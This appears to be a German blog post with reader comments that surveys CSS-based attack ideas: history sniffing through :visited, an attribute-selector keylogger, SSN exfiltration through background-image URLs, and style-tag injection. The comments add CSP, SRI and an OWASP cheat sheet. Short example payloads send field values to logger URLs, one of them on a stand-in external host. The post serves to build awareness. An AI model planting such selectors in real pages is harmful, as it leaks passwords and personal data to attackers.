Lassen Sie sich von dieser Überschrift nicht beunruhigen. Ich glaube nicht, dass CSS ein besonders gefährliches Sicherheitsproblem darstellt und meistens müssen Sie sich darüber keine Sorgen machen.
Aber ab und zu zirkulieren Artikel und erregen Aufmerksamkeit hinsichtlich der Möglichkeiten, was CSS tun kann, was Sie überraschen oder beunruhigen könnte.
Hier ist eine kleine Zusammenfassung.
Die Sorge um besuchte Links
Diese geht so:
- Sie verlinken auf eine bestimmte Seite Ihrer Website, z. B.
<a href="https://i-tickle-pigs.com">Tickle Pigs</a> - Sie stylen den besuchten Zustand dieses Links wie
a:visited { color: pink; }, was kein Standardstil des Benutzers ist. - Sie testen den berechneten Stil dieses Links.
- Wenn er pink ist, ist dieser Benutzer ein Schweine-Kitzler.
- Sie melden diese Information über Schweine-Kitzeln an einen Server irgendwo zurück und erhöhen wahrscheinlich dreifach die Versicherungssätze für Schweinebesitzer, da die Schweine sicherlich extreme emotionale Belastungen durch all das Kitzeln erleiden werden.
Sie könnten es sogar ganz in CSS machen, denn der `:visited`-Stil könnte wie background-image: url(/data-logger/tickle.php); sein, der nur von Schweine-Kitzlern angefordert wird.
Besorgt? Keine Sorge, Browser haben all dies verhindert.
Der Keylogger
Dieser hier geht so:
- Es gibt ein Eingabefeld auf der Seite. Vielleicht ein Passwortfeld. Gruselig!
- Sie setzen ein Logger-Skript als Wert für das Hintergrundbild des Eingabefelds, aber auch eine Milliarde weiterer Selektoren, sodass der Logger einen Teil oder das gesamte Passwort sammelt und meldet.
input[value^="a"] { background: url(logger.php?v=a); }
Dieser ist nicht so einfach. Das `value`-Attribut eines Eingabefelds ändert sich nicht nur, weil man hineintippt. Es passiert manchmal in Frameworks wie React, also wenn Sie dieses CSS auf eine Anmeldeseite anwenden, die von React betrieben und auf diese Weise codiert ist, dann könnte theoretisch dieser CSS-gesteuerte Keylogger funktionieren.
Aber… in diesem Fall wird ohnehin JavaScript auf dieser Seite ausgeführt. JavaScript ist 1000x besorgniserregender als CSS für solche Dinge. Ein Keylogger in JavaScript sind nur ein paar Zeilen Code, die auf Tastendrücke achten und diese über Ajax melden.
Drittanbieter- und XSS-eingefügtes Inline-JavaScript kann jetzt mit Content Security Policy (CSP) gestoppt werden… aber das gilt auch für CSS.
Der Datendieb
Diese geht so:
- Wenn ich mein zwielichtiges CSS auf einer Seite anbringen kann, auf der Sie sich bei einer Website angemeldet haben…
- Und diese Website sensible Informationen wie eine Sozialversicherungsnummer (SSN) in einem vorausgefüllten Formular anzeigt…
- Kann ich Attributselektoren verwenden, um das herauszufinden.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
Eine Milliarde Selektoren und Sie haben alle Möglichkeiten abgedeckt!
Der Inline-Style-Block-Mistake
Ich weiß nicht, ob ich CSS dafür verantwortlich machen würde, aber stellen Sie sich vor:
<style>
... Drop in some user-generated stuff ...
</style>
Vielleicht erlauben Sie dem Benutzer eine CSS-Anpassung. Das ist ein Angriffsvektor, da er das Style-Tag schließen, ein Script-Tag öffnen und zwielichtiges JavaScript schreiben könnte.
Ich bin sicher, es gibt noch mehr
Haben Sie welche? Teilen Sie sie.
Ich bin ein wenig skeptisch, wie sehr ich mich über CSS-Sicherheitslücken fürchten sollte. Ich möchte Sicherheitssachen nicht zu sehr herunterspielen (insbesondere Bedenken bezüglich Drittanbietern), da ich kein Experte bin und Sicherheit von größter Bedeutung ist, aber gleichzeitig habe ich noch nie von CSS als Angriffsvektor für irgendetwas außerhalb einer Gedankenspielerei gehört. Bilden Sie mich!
Sie haben die CSS-Exfiltrations-Schwachstelle: https://gbhackers.com/css-exfil-vulnerability/
Ich bin mir auch sicher, dass die Verwendung von data-URI innerhalb von CSS gute Ideen liefern kann… :)
Ich glaube, CSS-Schwachstellen sollten zusammen mit anderen Schwachstellen verstanden werden, wie z. B. das Einfügen von "etwas" auf einer Seite mit einem XSS-Problem auf einer Website. Ich denke besonders an Clickjacking, das CSS benötigt, um zu funktionieren.
Wir können auch an ein bösartiges JS-Skript denken, das Inhalt und CSS injiziert, um es zu stylen: Das Verhindern von JS ist in manchen Fällen möglicherweise nicht praktikabel, aber das Verhindern der CSS-Ausführung könnte einfacher sein.
Ist das wirklich richtig? Wenn jemand ein Tag schließen kann, was ist dann mit anderen HTML-Elementen?
Sie können es später wieder öffnen…
alert ();
Es gibt Tonnen von Plugins, kostenlosen Vorlagen usw. für fast alles und wer gräbt durch den minifizierten CSS und JS und sucht nach so etwas?
Wer schaut aktiv auf eingebettete Skripte und überprüft sie ab und zu?
Sicher, ein Angriff über JS ist einfacher, kleiner und schneller, aber man erwartet ihn vielleicht und sucht danach. Aber CSS ist eine andere Geschichte. Man erwartet nicht, dass CSS Sicherheitslücken hat.
Und manchmal ist ein Angriffsvektor, den niemand erwartet, interessanter als der einfache Weg.
Das ist einer der Gründe, warum ich versuche, immer alles selbst auf der Website/dem Projekt zu hosten (Bootstrap, jQuery usw.).
Sie könnten auch SubResource Integrity verwenden, um die Ausführung einiger Dateien zu vermeiden :)
Für ein sicherheitsorientiertes Unternehmen… (oder einfach für Ihre eigene Datenerfassung und Analyse) könnten Sie jede Seite protokollieren, die mit einer Druck-Stylesheet mit `{background: url(logger.php);}` gedruckt wird.
Das würde überall dort passieren, wo nicht vertrauenswürdiges HTML in eine Webseite injiziert wird. Ob es in einem Style-Tag oder außerhalb davon passiert. Es handelt sich im Grunde um XSS-Einträge für einen Angreifer.
Das Problem hier ist, dass XSS auf dem Client passiert. Selbst bei der Verwendung von etwas so Einfachem wie jQuery können einige Methoden HTML auf einer Webseite schreiben. Nicht vertrauenswürdiger Inhalt, der mit $.fn.html geschrieben wird, könnte zu einem Einstiegspunkt für XSS werden, wenn diese Eingabe nicht behandelt wird. Das Gleiche gilt für CSS.
Obwohl ich denke, dass es wichtig ist, sich dieser Dinge bewusst zu sein, denke ich, dass das Gefährlichste, was CSS tun könnte, so etwas wie Clickjacking ist. Aber das ist keine Schwachstelle in der Sprache – es ist absichtliche Täuschung durch einen Angreifer.
Vielen Dank, dass Sie diesen Inhalt mit uns allen geteilt haben :) Kaskadierungs-Stylesheet-Schwachstellen werden von den Leuten nicht ausreichend wahrgenommen. Ich habe Kunden betreut, die ihre Kaskadierenden Stylesheets aufgrund meiner Empfehlungen repariert haben. In der Sicherheit übe ich zumindest das Schließen von Türen aus, egal was passiert, wenn ich eine offene sehe.
Beispiel: Ich wurde als Hacker motiviert, als ich mir die *.css-Datei ansah, was mir half, die interne Struktur von Funktionen zu verstehen. Ich spreche von Motivation, weil böswillige Hacker motiviert werden (Motivierter Angreifer), wenn sie sehen "Was ist drin?", ohne hineinzukommen. Und der Adrenalinrausch in ihnen sagt ihnen: "Wenn du das hackst, weißt du, was du bekommst, sobald du erfolgreich gehackt hast oder die Sicherheit dieser Anwendung kompromittiert hast".
Basierend darauf habe ich "Securing Cascading StyleSheets" für OWASP (Open Web Application Project) verfasst.
URLs zum Zugriff auf denselben Inhalt
https://work2code.com/a-guide-to-securing-stylesheets-owasp/
https://www.owasp.org/index.php/Securing_Cascading_Style_Sheets_(CSS)_Cheat_Sheet
Ich hoffe, das hilft.
~ Einfache Dinge, die gut gemacht sind, helfen bei der "Sicherheit".